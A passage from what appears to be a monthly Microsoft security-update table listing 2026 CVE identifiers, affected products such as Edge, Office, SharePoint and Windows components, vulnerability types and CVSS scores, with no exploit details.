EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  